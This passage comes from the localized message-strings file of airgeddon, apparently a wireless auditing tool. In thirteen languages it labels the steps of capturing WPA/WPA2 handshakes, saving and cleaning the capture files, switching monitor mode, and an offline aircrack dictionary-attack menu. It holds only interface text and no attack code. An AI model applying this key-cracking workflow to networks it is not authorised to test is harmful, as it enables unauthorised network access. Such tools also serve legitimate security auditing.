arr["SPANISH",148]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${handshakepath}]" arr["FRENCH",148]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour prendre le chemin proposé par défaut \${normal_color}[\${handshakepath}]" arr["CATALAN",148]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${handshakepath}]" arr["PORTUGUESE",148]="Digite o caminho para salvar o arquivo ou pressione [Enter] para o caminho padrão \${normal_color}[\${handshakepath}]" arr["RUSSIAN",148]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${handshakepath}]" arr["GREEK",148]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${handshakepath}]" arr["ITALIAN",148]="Scrivere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${handshakepath}]" arr["POLISH",148]="Wpisz ścieżkę do zapisywania plików lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${handshakepath}]" arr["GERMAN",148]="Schreiben Sie den Pfad, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag \${normal_color}[\${handshakepath}] \${green_color}zu benutzen" arr["TURKISH",148]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${handshakepath}]" arr["ARABIC",148]="\${normal_color}[\${handshakepath}]\${green_color} لقبول المقترح [Enter] اكتب المسار حيث نقوم بتخزين ملف أو اضغط" arr["CHINESE",148]="输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${handshakepath}]" arr["ENGLISH",149]="Handshake file generated successfully at [\${normal_color}\${enteredpath}\${blue_color}]" arr["SPANISH",149]="Fichero de Handshake generado con éxito en [\${normal_color}\${enteredpath}\${blue_color}]" arr["FRENCH",149]="Fichier Handshake généré avec succès dans [\${normal_color}\${enteredpath}\${blue_color}]" arr["CATALAN",149]="Fitxer de Handshake generat amb èxit a [\${normal_color}\${enteredpath}\${blue_color}]" arr["PORTUGUESE",149]="Arquivo de Handshake gerado com sucesso [\${normal_color}\${enteredpath}\${blue_color}]" arr["RUSSIAN",149]="Файл рукопожатия успешно создан в [\${normal_color}\${enteredpath}\${blue_color}]" arr["GREEK",149]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο [\${normal_color}\${enteredpath}\${blue_color}]" arr["ITALIAN",149]="Handshake del file generato con successo in [\${normal_color}\${enteredpath}\${blue_color}]" arr["POLISH",149]="Plik Handshake został pomyślnie wygenerowany w [\${normal_color}\${enteredpath}\${blue_color}]" arr["GERMAN",149]="Handshake-Datei erfolgreich in [\${normal_color}\${enteredpath}\${blue_color}] erstellt" arr["TURKISH",149]="Handshake dosyası şu hedefte başarıyla oluşturuldu [\${normal_color}\${enteredpath}\${blue_color}]" arr["ARABIC",149]="[\${normal_color}\${enteredpath}\${blue_color}] بنجاح في Handshake تم إنشاء ملف" arr["CHINESE",149]="在 [\${normal_color}\${enteredpath}\${blue_color}] 成功生成握手包文件" arr["ENGLISH",150]="No captured Handshake file detected during this session..." arr["SPANISH",150]="No se ha detectado ningún fichero de Handshake capturado en esta sesión..." arr["FRENCH",150]="Aucun fichier Handshake valide détecté durant cette session..." arr["CATALAN",150]="No s'ha detectat un fitxer de Handshake capturat en aquesta sessió..." arr["PORTUGUESE",150]="Nenhum Handshake capturado nessa sessão..." arr["RUSSIAN",150]="За эту сессию не обнаружено захваченного рукопожатия..." arr["GREEK",150]="Δεν εντοπίστηκε κάποιο αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["ITALIAN",150]="Non è stato trovato nessun file di Handshake catturato in questa sessione..." arr["POLISH",150]="Nie wykryto pliku Handshake przechwyconego w tej sesji..." arr["GERMAN",150]="Keine erfasste Handshake-Datei wurde in dieser Sitzung erkannt..." arr["TURKISH",150]="Bu oturumda hiçbir handshake dosyayı tespit edilmedi..." arr["ARABIC",150]="...تم التقاطه أثناء هذه الدورة Handshake لم يتم اكتشاف ملف" arr["CHINESE",150]="在此会话期间未检测到已捕获的握手包文件..." arr["ENGLISH",151]="Handshake captured file detected during this session [\${normal_color}\${enteredpath}\${blue_color}]" arr["SPANISH",151]="Se ha detectado un fichero de Handshake capturado en esta sesión [\${normal_color}\${enteredpath}\${blue_color}]" arr["FRENCH",151]="Un fichier contenant un Handshake a été détecté pour la session effectuée et se trouve dans \${normal_color}\${enteredpath}\${blue_color}]" arr["CATALAN",151]="S'ha detectat un fitxer de Handshake capturat en aquesta sessió [\${normal_color}\${enteredpath}\${blue_color}]" arr["PORTUGUESE",151]="Handshake capturado com sucesso [\${normal_color}\${enteredpath}\${blue_color}]" arr["RUSSIAN",151]="В этой сессии обнаружен файл с захваченным рукопожатием [\${normal_color}\${enteredpath}\${blue_color}]" arr["GREEK",151]="Εντοπίστηκε αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας [\${normal_color}\${enteredpath}\${blue_color}]" arr["ITALIAN",151]="Trovato un file di Handshake catturato in questa sessione [\${normal_color}\${enteredpath}\${blue_color}]" arr["POLISH",151]="Plik Handshake został przechwycony w tej sesji został [\${normal_color}\${enteredpath}\${blue_color}]" arr["GERMAN",151]="Eine erfasste Handshake-Datei wurde erkannt [\${normal_color}\${enteredpath}\${blue_color}]" arr["TURKISH",151]="Bu oturum sırasında yakalanmış bir handshake dosyası tespit edildi [\${normal_color}\${enteredpath}\${blue_color}]" arr["ARABIC",151]="[\${normal_color}\${enteredpath}\${blue_color}] لالدورة التي تم إجراؤها ويقع في Handshake تم اكتشاف ملف يحتوي على" arr["CHINESE",151]="在此会话期间检测到的捕获的握手包文件 [\${normal_color}\${enteredpath}\${blue_color}]" arr["ENGLISH",152]="Do you want to clean/optimize the Handshake captured file during this session? \${normal_color}\${visual_choice}" arr["SPANISH",152]="¿Quieres limpiar/optimizar el fichero de Handshake capturado en esta sesión? \${normal_color}\${visual_choice}" arr["FRENCH",152]="Voulez-vous nettoyer/optimiser le fichier Handshake capturé pendant cette session? \${normal_color}\${visual_choice}" arr["CATALAN",152]="¿Vols netejar/optimitzar el fitxer de Handshake capturat en aquesta sessió? \${normal_color}\${visual_choice}" arr["PORTUGUESE",152]="Quer limpar/otimizar o arquivo handshake capturado nesta sessão? \${normal_color}\${visual_choice}" arr["RUSSIAN",152]="Вы хотите очистить/оптимизировать захваченный за эту сессию файл рукопожания? \${normal_color}\${visual_choice}" arr["GREEK",152]="Θέλετε να καθαρίσετε/βελτιστοποιήσετε το αρχείο καταγραφής Χειραψίας της συνεδρίας; \${normal_color}\${visual_choice}" arr["ITALIAN",152]="Vuoi pulire/ottimizzare il file di Handshake catturato in questa sessione? \${normal_color}\${visual_choice}" arr["POLISH",152]="Czy chcesz wyczyścić/zoptymalizować plik Handshake przechwycony w tej sesji? \${normal_color}\${visual_choice}" arr["GERMAN",152]="Möchten Sie die Handshake-Datei bereinigen/optimieren? \${normal_color}\${visual_choice}" arr["TURKISH",152]="Handshake ele geçirilmiş dosyayı bu oturum sırasında temizlemek/optimize etmek ister misiniz? \${normal_color}\${visual_choice}" arr["ARABIC",152]="\${normal_color}\${visual_choice} \${green_color}الذي تم التقاطه أثناء هذه الدورة؟ Handshake هل تريد تنظيف/تحسين ملف\${normal_color}" arr["CHINESE",152]="您想在此会话期间清理/优化捕获的文件吗?\${normal_color}\${visual_choice}" arr["ENGLISH",153]="File cleaned/optimized successfully" arr["SPANISH",153]="Fichero limpiado/optimizado con éxito" arr["FRENCH",153]="Fichier lavé/optimisé avec succès" arr["CATALAN",153]="Fitxer netejat/optimitzat amb èxit" arr["PORTUGUESE",153]="Arquivo limpo/otimizado com sucesso" arr["RUSSIAN",153]="Файл успешно очищен/оптимизирован" arr["GREEK",153]="Το αρχείο καθαρίστηκε/βελτιστοποιήθηκε επιτυχώς" arr["ITALIAN",153]="File pulito/ottimizzato con successo" arr["POLISH",153]="Plik pomyślnie wyczyszczony/zoptymalizowany" arr["GERMAN",153]="Datei erfolgreich bereinigt/optimiert" arr["TURKISH",153]="Dosya başarıyla temizlendi/optimize edildi" arr["ARABIC",153]="تم تنظيف/تحسين الملف بنجاح" arr["CHINESE",153]="文件清理/优化成功" arr["ENGLISH",154]="Set path to file:" arr["SPANISH",154]="Introduce la ruta al fichero:" arr["FRENCH",154]="Entrez le chemin vers le fichier:" arr["CATALAN",154]="Introdueix la ruta al fitxer:" arr["PORTUGUESE",154]="Digite o caminho do arquivo:" arr["RUSSIAN",154]="Установить путь до файла:" arr["GREEK",154]="Θέστε μονοπάτι για το αρχείο:" arr["ITALIAN",154]="Introdurre il percorso del file:" arr["POLISH",154]="Wprowadź ścieżkę do pliku:" arr["GERMAN",154]="Geben Sie den Pfad zur Datei ein:" arr["TURKISH",154]="Path dizini girin:" arr["ARABIC",154]=":تعيين المسار للملف" arr["CHINESE",154]="设置文件路径:" arr["ENGLISH",155]="The directory exists but you didn't specify filename. It will be autogenerated [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["SPANISH",155]="El directorio existe pero no se especificó nombre de fichero. Se autogenerará [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["FRENCH",155]="Le dossier existe mais sans qu'aucun nom pour le fichier soit précisé. Il sera donc appelé [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["CATALAN",155]="El directori existeix però no s'ha especificat nom de fitxer. Es autogenerará [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["PORTUGUESE",155]="O diretório existe, mas o nome do arquivo não foi especificado. Será gerado automaticamente [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["RUSSIAN",155]="Директория существует, но вы не указали имя файла. Оно будет сгенерировано автоматически [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["GREEK",155]="Ο κατάλογος υπάρχει αλλά δεν έχετε προσδιορίσει το όνομα του αρχείου [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["ITALIAN",155]="La directory esiste, peró non è stato specificato il nome del file. Sarà generato automaticamente [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["POLISH",155]="Katalog istnieje, ale nie określono nazwy pliku. Zostanie ona wygenerowana automatycznie [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["GERMAN",155]="Das Verzeichnis existiert, aber es wurde kein Dateiname angegeben. Er wird sich selbst erzeugen [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["TURKISH",155]="Dizin var ancak dosya adı belirtmediniz. O otomatik üretilecek [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["ARABIC",155]="[\${normal_color}\${suggested_filename}\${yellow_color}] الملف موجود ولكنك لم تحدد اسمه. سيتم إنشاؤه تلقائيًا" arr["CHINESE",155]="该目录存在但您没有指定文件名。它将自动生成 [\${normal_color}\${suggested_filename}\${yellow_color}]" arr["ENGLISH",156]="Directory does not exist" arr["SPANISH",156]="El directorio no existe" arr["FRENCH",156]="Le dossier n'existe pas" arr["CATALAN",156]="El directori no existeix" arr["PORTUGUESE",156]="O diretório não existe" arr["RUSSIAN",156]="Директория не существует" arr["GREEK",156]="Ο κατάλογος δεν υπάρχει" arr["ITALIAN",156]="La directory non esiste" arr["POLISH",156]="Katalog nie istnieje" arr["GERMAN",156]="Das Verzeichnis existiert nicht" arr["TURKISH",156]="Dizn bulunamadı" arr["ARABIC",156]="الملف غير موجود" arr["CHINESE",156]="目录不存在" arr["ENGLISH",157]="The path exists but you don't have write permissions" arr["SPANISH",157]="La ruta existe pero no tienes permisos de escritura" arr["FRENCH",157]="Le chemin existe mais vous ne disposez pas des permis d'écriture" arr["CATALAN",157]="La ruta existeix, però no tens permisos d'escriptura" arr["PORTUGUESE",157]="O diretório existe, mas você não tem permissões de gravação" arr["RUSSIAN",157]="Путь существует, но у вас нет прав на запись" arr["GREEK",157]="Το μονοπάτι υπάρχει, αλλά δεν έχετε δικαιώματα εγγραφής" arr["ITALIAN",157]="Il percorso esiste, ma non si dispone dei permessi di scrittura" arr["POLISH",157]="Ścieżka istnieje, ale nie masz uprawnień do zapisu" arr["GERMAN",157]="Die Route existiert, Sie haben jedoch keine Schreibberechtigung" arr["TURKISH",157]="Path bulundu ama sizin yazma hakkınız yok" arr["ARABIC",157]="المسار موجود ولكن ليس لديك تصاريح الكتابة" arr["CHINESE",157]="该路径存在但您没有写权限" arr["ENGLISH",158]="The path is valid and you have write permissions. Script can continue..." arr["SPANISH",158]="La ruta es válida y tienes permisos de escritura. El script puede continuar..." arr["FRENCH",158]="Le chemin est valide et vous disposez des privilèges nécessaires pour l'écriture. Le script peut continuer..." arr["CATALAN",158]="La ruta és vàlida i tens permisos d'escriptura. El script pot continuar..." arr["PORTUGUESE",158]="O diretório é válido e você tem permissões de gravação. O script pode continuar..." arr["RUSSIAN",158]="Путь существует и у вас есть права на запись. Скрипт может продолжить..." arr["GREEK",158]="Το μονοπάτι είναι έγκυρο και έχετε δικαιώματα εγγραφής. Το script μπορεί να συνεχίσει..." arr["ITALIAN",158]="Il percorso è valido e si dispone di permessi di scrittura. Lo script può continuare..." arr["POLISH",158]="Ścieżka jest poprawna i masz uprawnienia do zapisu. Skrypt może kontynuować..." arr["GERMAN",158]="Die Route ist gültig und Sie haben Schreibberechtigung. Das Skript kann fortfahren..." arr["TURKISH",158]="Path doğrulandı ve yazma hakkınız var. Yazılım devam edebilir..." arr["ARABIC",158]="...المسار صالح ولديك الامتيازات اللازمة للكتابة. يمكن أن يستمر البرنامج" arr["CHINESE",158]="该路径有效并且具有写入权限。脚本可以继续..." arr["ENGLISH",159]="The file doesn't need to be cleaned/optimized" arr["SPANISH",159]="El fichero no necesita ser limpiado/optimizado" arr["FRENCH",159]="Le fichier n'a pas besoin d'être nettoyé/optimisé" arr["CATALAN",159]="El fitxer no necessita ser netejat/optimitzat" arr["PORTUGUESE",159]="O arquivo não precisa ser limpo/otimizado" arr["RUSSIAN",159]="Файлу не требуется очистка/оптимизация" arr["GREEK",159]="Το αρχείο δεν χρειάζεται να καθαριστεί/βελτιστοποιηθεί" arr["ITALIAN",159]="Il file non ha bisogno di essere pulito/ottimizzato" arr["POLISH",159]="Nie ma potrzeby wyczyszczenia/zoptymalizowania tego pliku" arr["GERMAN",159]="Die Datei braucht nicht bereinigt/optimiert werden" arr["TURKISH",159]="Dosyanın temizlenmeye/optimize edilmeye ihtiyacı yok" arr["ARABIC",159]="لا يحتاج الملف إلى تنظيف/تحسين" arr["CHINESE",159]="该文件不需要清理/优化" arr["ENGLISH",160]="No tasks to perform on exit" arr["SPANISH",160]="No hay que realizar ninguna tarea a la salida" arr["FRENCH",160]="Aucune opération n'est planifiée pour l’arrêt du script" arr["CATALAN",160]="No cal fer cap tasca a la sortida" arr["PORTUGUESE",160]="Não há tarefas a serem executadas na saída" arr["RUSSIAN",160]="Нет задач для выполнения перед выходом" arr["GREEK",160]="Δεν απομένει κάποιο task για να εκτελεστεί στην έξοδο" arr["ITALIAN",160]="Non bisogna fare niente dopo l'uscita dello script" arr["POLISH",160]="Plik nie musi być wczyszczony/zoptymalizowany" arr["GERMAN",160]="Es gibt keine Aufgabe beim Verlassen" arr["TURKISH",160]="Çıkışta gerçekleştirilecek görev yok" arr["ARABIC",160]="لا توجد مهام للأداء عند الخروج" arr["CHINESE",160]="退出时没有要执行的任务..." arr["ENGLISH",161]="File doesn't exist" arr["SPANISH",161]="El fichero no existe" arr["FRENCH",161]="Le fichier n' existe pas" arr["CATALAN",161]="El fitxer no existeix" arr["PORTUGUESE",161]="O arquivo não existe" arr["RUSSIAN",161]="Файл не существует" arr["GREEK",161]="Το αρχείο δεν υπάρχει" arr["ITALIAN",161]="Il file non esiste" arr["POLISH",161]="Plik nie istnieje" arr["GERMAN",161]="Die Datei existiert nicht" arr["TURKISH",161]="Dosya bulunamadı" arr["ARABIC",161]="الملف غير موجود" arr["CHINESE",161]="文件不存在" arr["ENGLISH",162]="Congratulations!!" arr["SPANISH",162]="Enhorabuena!!" arr["FRENCH",162]="Félicitations!!" arr["CATALAN",162]="Enhorabona!!" arr["PORTUGUESE",162]="Parabéns!!" arr["RUSSIAN",162]="Поздравления!!" arr["GREEK",162]="Συγχαρητήρια!!" arr["ITALIAN",162]="Congratulazioni!!" arr["POLISH",162]="Gratulacje!!" arr["GERMAN",162]="Herzlichen Glückwunsch!!" arr["TURKISH",162]="Tebrikler!!" arr["ARABIC",162]="!!تهانينا" arr["CHINESE",162]="恭喜!!" arr["ENGLISH",163]="When airgeddon requests you to enter a path to a file either to use a dictionary, a Handshake or anything else, did you know that you can drag and drop the file over the airgeddon window? In this way you don't have to type the path manually" arr["SPANISH",163]="Cuando airgeddon solicita que introduzcas una ruta a un fichero ya sea para utilizar un diccionario, un Handshake o cualquier otra cosa, ¿sabías que puedes arrastrar y soltar el fichero sobre la ventana de airgeddon? Así no tendrás que escribir la ruta manualmente" arr["FRENCH",163]="Quand airgeddon demande d'entrer un chemin d'accès vers un fichier soit pour utiliser un dictionnaire, un Handshake ou autre chose, saviez-vous que vous pouvez faire glisser le fichier sur la fenêtre airgeddon? Donc vous n'avez pas à taper la route manuellement" arr["CATALAN",163]="Quan airgeddon sol·licita que introdueixis una ruta a un fitxer ja sigui per utilitzar un diccionari, un Handshake o qualsevol altra cosa, ¿saps que pots arrossegar i deixar anar el fitxer sobre la finestra de airgeddon? Així no hauràs d'escriure la ruta manualment" arr["PORTUGUESE",163]="Quando a airgeddon solicita que você insira o caminho de: um dicionário, um Handshake ou qualquer outra coisa, você sabia que pode arrastar o arquivo para janela do airgeddon? Assim você não precisa digitar o caminho manualmente" arr["RUSSIAN",163]="Когда airgeddon просит вас ввести путь до файла, будь то словарь, рукопожатие или что-то ещё, знаете ли вы, что можно захватить этот файл мышкой, перетащить и бросить этот файл прямо в окно airgeddon? Таким образом вам не придётся вводить путь до файла вручную" arr["GREEK",163]="Γνωρίζατε ότι μπορείτε να εισάγετε μονοπάτι για κάποιο αρχείο είτε για να χρησιμοποιήσετε λεξικό, αρχείο Χειραψίας ή οτιδήποτε άλλο, κάνοντας Drag & Drop το αρχείο αυτό στο παράθυρο του airgeddon; Με αυτόν τον τρόπο δεν χρειάζεται να πληκτρολογείτε το μονοπάτι χειροκίνητα" arr["ITALIAN",163]="Quando airgeddon chiede di introdurre il percorso di un file per utilizzare un dizionario, un Handshake o qualsiasi altra cosa, sapevi che puoi trascinare e rilasciare il file sulla finestra di airgeddon? Cosí non dovrai digitare manualmente il percorso" arr["POLISH",163]="Wiesz, że kiedy airgeddon poprosi Cię o podanie ścieżki do pliku aby użyć słownika, pliku Handshake lub cokolwiek innego, możesz przeciągnąć i upuścić plik przez okno airgeddon? Nie musisz wpisywać scieżki ręcznie" arr["GERMAN",163]="Wenn airgeddon Sie auffordert, einen Dateipfad einzugeben, um ein Wörterbuch, einen Handshake oder etwas anderes zu verwenden, wussten Sie, dass Sie die Datei per Drag & Drop auf das airgeddon-Fenster ziehen können? Sie müssen die Route nicht manuell schreiben" arr["TURKISH",163]="airgeddon, bir sözlük, bir Handshake veya başka bir şey kullanmak için dosyaya bir yol girmenizi istediğinde, dosyayı airgeddon penceresinin üzerine sürükleyip bırakabileceğinizi biliyor muydunuz? Bu şekilde yolu elle yazmanız gerekmez" arr["ARABIC",163]="؟ بهذه الطريقة لن تضطر إلى كتابة المسار يدويًاairgeddon إدخال مسار إلى ملف إما لاستخدام قاموس أو مصافحة أو أي شيء آخر ، هل تعلم أنه يمكنك سحب الملف وإفلاته فوق نافذة airgeddon عندما يطلب منك" arr["CHINESE",163]="当 airgeddon 要求您输入文件路径以使用字典、握手包或其他任何文件时,您是否知道可以将文件拖放到 airgeddon 窗口上?这样您就不必手动输入路径" arr["ENGLISH",164]="Cleaning temp files" arr["SPANISH",164]="Limpiando archivos temporales" arr["FRENCH",164]="Effacement des fichiers temporaires" arr["CATALAN",164]="Netejant arxius temporals" arr["PORTUGUESE",164]="Limpando arquivos temporários" arr["RUSSIAN",164]="Очистка временных файлов" arr["GREEK",164]="Γίνεται καθαρισμός προσωρινών αρχείων" arr["ITALIAN",164]="Pulendo i file temporanei" arr["POLISH",164]="Usuwanie plików tymczasowych" arr["GERMAN",164]="Temporäre Dateien bereinigen" arr["TURKISH",164]="Temp dosyaları temizleniyor" arr["ARABIC",164]="تنظيف الملفات المؤقتة" arr["CHINESE",164]="正在清理临时文件" arr["ENGLISH",165]="Checking if cleaning/restoring tasks are needed..." arr["SPANISH",165]="Comprobando si hay que realizar tareas de limpieza/restauración..." arr["FRENCH",165]="Vérification de la nécessité d'effectuer ou pas des opérations de nettoyage/restauration..." arr["CATALAN",165]="Comprovant si cal realitzar tasques de neteja/restauració..." arr["PORTUGUESE",165]="Verificando se é necessário executar tarefas de limpeza/restauração..." arr["RUSSIAN",165]="Проверка, нужны ли задачи по очистке/восстановлению..." arr["GREEK",165]="Γίνεται έλεγχος αν χρειάζονται tasks καθαρισμού/αποκατάστασης..." arr["ITALIAN",165]="Verificando se è necessarrio eseguire la pulizia/restauro..." arr["POLISH",165]="Sprawdzenie czy wymagane jest czyszczenie/przywrócenie..." arr["GERMAN",165]="Überprüfung, ob Reinigungs/Restaurierungsarbeiten durchgeführt werden müssen..." arr["TURKISH",165]="Temizlik/geri yükleme görevlerinin gerekli olup olmadığı denetleniyor..." arr["ARABIC",165]="...التحقق مما إذا كانت مهام التنظيف/الاستعادة مطلوبة" arr["CHINESE",165]="检查是否有需要清理 / 恢复的任务..." arr["ENGLISH",166]="Do you want to preserve monitor mode for your card on exit? \${normal_color}\${visual_choice}" arr["SPANISH",166]="¿Deseas conservar el modo monitor de tu interfaz al salir? \${normal_color}\${visual_choice}" arr["FRENCH",166]="Voulez-vous laisser votre interface en mode moniteur après l'arrêt du script? \${normal_color}\${visual_choice}" arr["CATALAN",166]="¿Vols conservar el mode monitor de la teva interfície en sortir? \${normal_color}\${visual_choice}" arr["PORTUGUESE",166]="Quer manter sua interface em modo monitor ao sair do script? \${normal_color}\${visual_choice}" arr["RUSSIAN",166]="Вы хотите сохранить режим монитора вашей карты при выходе? \${normal_color}\${visual_choice}" arr["GREEK",166]="Θέλετε να παραμείνει η κάρτα σε κατάσταση παρακολούθησης κατά την έξοδο; \${normal_color}\${visual_choice}" arr["ITALIAN",166]="Vuoi mantenere l'interfaccia in modalità monitor dopo essere uscito? \${normal_color}\${visual_choice}" arr["POLISH",166]="Czy chcesz zachować tryb monitorowania teojej karty sieciowej po wyjsciu? \${normal_color}\${visual_choice}" arr["GERMAN",166]="Möchten Sie den Monitor-Modus Ihres Interface beim Beenden beibehalten? \${normal_color}\${visual_choice}" arr["TURKISH",166]="Çıkışta kartınızın monitör modunu korumak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",166]="\${normal_color}\${visual_choice} \${green_color}لبطاقتك عند الخروج؟ monitor mode هل تريد الاحتفاظ بوضع\${normal_color}" arr["CHINESE",166]="您想在退出时为选择的网络接口保留监听模式吗?\${normal_color}\${visual_choice}" arr["ENGLISH",167]="Setting your interface in managed mode" arr["SPANISH",167]="Poniendo interfaz en modo managed" arr["FRENCH",167]="L'interface est en train de passer en mode managed" arr["CATALAN",167]="Configurant la interfície en mode managed" arr["PORTUGUESE",167]="Colocando interface de modo managed" arr["RUSSIAN",167]="Перевод вашего интерфейса в управляемый режим" arr["GREEK",167]="Η διεπαφή μπαίνει σε ετερόκλητη κατάσταση" arr["ITALIAN",167]="Mettendo l'interfaccia in modalità managed" arr["POLISH",167]="Uruchamianie w trybie zarządzania" arr["GERMAN",167]="Interface wird im Managed-Modus eingestellt" arr["TURKISH",167]="Arayüzünüzün yönetici modu açılıyor" arr["ARABIC",167]="managed mode ضبط واجهتك في وضع" arr["CHINESE",167]="正在将接口设置为管理模式" arr["ENGLISH",168]="Launching previously killed processes" arr["SPANISH",168]="Arrancando procesos cerrados anteriormente" arr["FRENCH",168]="Lancement des processus précédemment tués" arr["CATALAN",168]="Llançant processos tancats anteriorment" arr["PORTUGUESE",168]="Processos de inicialização previamente fechados" arr["RUSSIAN",168]="Запуск ранее убитых процессов" arr["GREEK",168]="Γίνεται έναρξη των προηγούμενων σταματημένων διεργασιών" arr["ITALIAN",168]="Lanciando i processi chiusi precedentemente" arr["POLISH",168]="Uruchamianie wcześniej zakończonych procesów" arr["GERMAN",168]="Vorab geschlossene Prozesse starten" arr["TURKISH",168]="Daha önce sonlandırılan görevler başlatılıyor" arr["ARABIC",168]="إطلاق عمليات قتلت سابقًا" arr["CHINESE",168]="启动先前终止的进程" arr["ENGLISH",169]="6. Offline WPA/WPA2 decrypt menu" arr["SPANISH",169]="6. Menú de descifrado WPA/WPA2 offline" arr["FRENCH",169]="6. Menu crack WPA/WPA2 offline" arr["CATALAN",169]="6. Menú per desxifrar WPA/WPA2 offline" arr["PORTUGUESE",169]="6. Menu de descriptografia WPA/WPA2 offline" arr["RUSSIAN",169]="6. Меню офлайн расшифровки WPA/WPA2" arr["GREEK",169]="6. Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",169]="6. Menù per decifrare WPA/WPA2 offline" arr["POLISH",169]="6. Menu deszyfrowania WPA/WPA2 offline" arr["GERMAN",169]="6. Offline WPA/WPA2-Entschlüsselungsmenü" arr["TURKISH",169]="6. Çevrimdışı WPA/WPA2 decrypt menüsü" arr["ARABIC",169]="6. غير المتصلة WPA/WPA2 اقائمة فك تشفير" arr["CHINESE",169]="6. 离线 WPA/WPA2 捕获文件暴力破解菜单" arr["ENGLISH",170]="Offline WPA/WPA2 decrypt menu" arr["SPANISH",170]="Menú de descifrado WPA/WPA2 offline" arr["FRENCH",170]="Menu crack WPA/WPA2 offline" arr["CATALAN",170]="Menú per desxifrar WPA/WPA2 offline" arr["PORTUGUESE",170]="Menu de descriptografia WPA/WPA2 offline" arr["RUSSIAN",170]="Меню офлайн расшифровки WPA/WPA2" arr["GREEK",170]="Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",170]="Menù per decifrare WPA/WPA2 offline" arr["POLISH",170]="Menu deszyfrowania WPA/WPA2 offline" arr["GERMAN",170]="Offline WPA/WPA2-Entschlüsselungsmenü" arr["TURKISH",170]="Çevrimdışı WPA/WPA2 decrypt menüsü" arr["ARABIC",170]="غير المتصلة WPA/WPA2 اقائمة فك تشفير" arr["CHINESE",170]="离线 WPA/WPA2 捕获文件暴力破解菜单" arr["ENGLISH",171]="The key decryption process is performed offline on a previously captured file or on a file containing a hash" arr["SPANISH",171]="El proceso de descifrado de la clave se realiza de manera offline en un archivo capturado previamente o en un archivo que contiene un hash" arr["FRENCH",171]="Le processus de déchiffrement de la clé s'effectue hors ligne sur un fichier précédemment capturé ou sur un fichier que contenant un hash" arr["CATALAN",171]="El procés de descodificació de la clau s'executa fora de línia en un fitxer capturat prèviament o en un fitxer que conté un hash" arr["PORTUGUESE",171]="O processo de descriptografia da chave é realizado offline em um arquivo previamente capturado ou em um arquivo que contém um hash" arr["RUSSIAN",171]="Расшифровка ключа выполняется оффлайн на ранее захваченном файле или на файле, содержащем хеш" arr["GREEK",171]="Η διαδικασία αποκρυπτογράφησης του κλειδιού εκτελείται εκτός σύνδεσης σε ένα προηγουμένως καταγεγραμμένο αρχείο ή σε ένα αρχείο που περιέχει hash" arr["ITALIAN",171]="Il processo di decrittazione della chiave viene eseguito offline su un file acquisito in precedenza o su un file che contiene un hash" arr["POLISH",171]="Proces odszyfrowywania klucza wykonywany jest offline na wcześniej przechwyconym pliku lub na pliku zawierającym hash" arr["GERMAN",171]="Der Schlüssel-Entschlüsselungsprozess wird offline auf einer zuvor erfassten Datei oder auf einer Datei durchgeführt, die einen hash enthält" arr["TURKISH",171]="Anahtarın şifre çözme işlemi, daha önce yakalanmış bir dosyada veya bir hash içeren bir dosyada çevrimdışı olarak gerçekleştirilir" arr["ARABIC",171]="يتم تنفيذ عملية فك تشفير المفتاح في وضع عدم الاتصال على ملف تم التقاطه سابقًا أو على ملف يحتوي على هاش" arr["CHINESE",171]="密码解密过程会在先前捕获的握手包文件或包含 hash 的文件上执行" arr["ENGLISH",172]="1. (aircrack) Dictionary attack against Handshake/PMKID capture file" arr["SPANISH",172]="1. (aircrack) Ataque de diccionario sobre fichero de captura Handshake/PMKID" arr["FRENCH",172]="1. (aircrack) Attaque de dictionnaire en utilisant le fichier de capture Handshake/PMKID" arr["CATALAN",172]="1. (aircrack) Atac de diccionari sobre fitxer de captura Handshake/PMKID" arr["PORTUGUESE",172]="1. (aircrack) Ataque de dicionário em um arquivo de captura Handshake/PMKID" arr["RUSSIAN",172]="1. (aircrack) Атака по словарю в отношении захваченного файла рукопожатия/PMKID" arr["GREEK",172]="1. (aircrack) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής Handshake/PMKID" arr["ITALIAN",172]="1. (aircrack) Attacco dizionario sul file di cattura Handshake/PMKID" arr["POLISH",172]="1. (aircrack) Atak słownikowy na plik przechwytywania Handshake/PMKID" arr["GERMAN",172]="1. (aircrack) Wörterbuchangriff auf der aufgenommenen Handshake/PMKID Datei" arr["TURKISH",172]="1. (aircrack) Yakalanan Handshake/PMKID dosyasına sözlük saldırısı" arr["ARABIC",172]="1. Handshake/PMKID هجوم القاموس على ملف الالتقاط (aircrack)" arr["CHINESE",172]="1. (aircrack) 字典攻击 Handshake/PMKID 捕获文件" arr["ENGLISH",173]="Selected capture file: \${pink_color}\${enteredpath}\${normal_color}" arr["SPANISH",173]="Fichero de captura seleccionado: \${pink_color}\${enteredpath}\${normal_color}" arr["FRENCH",173]="Fichier de capture sélectionné: 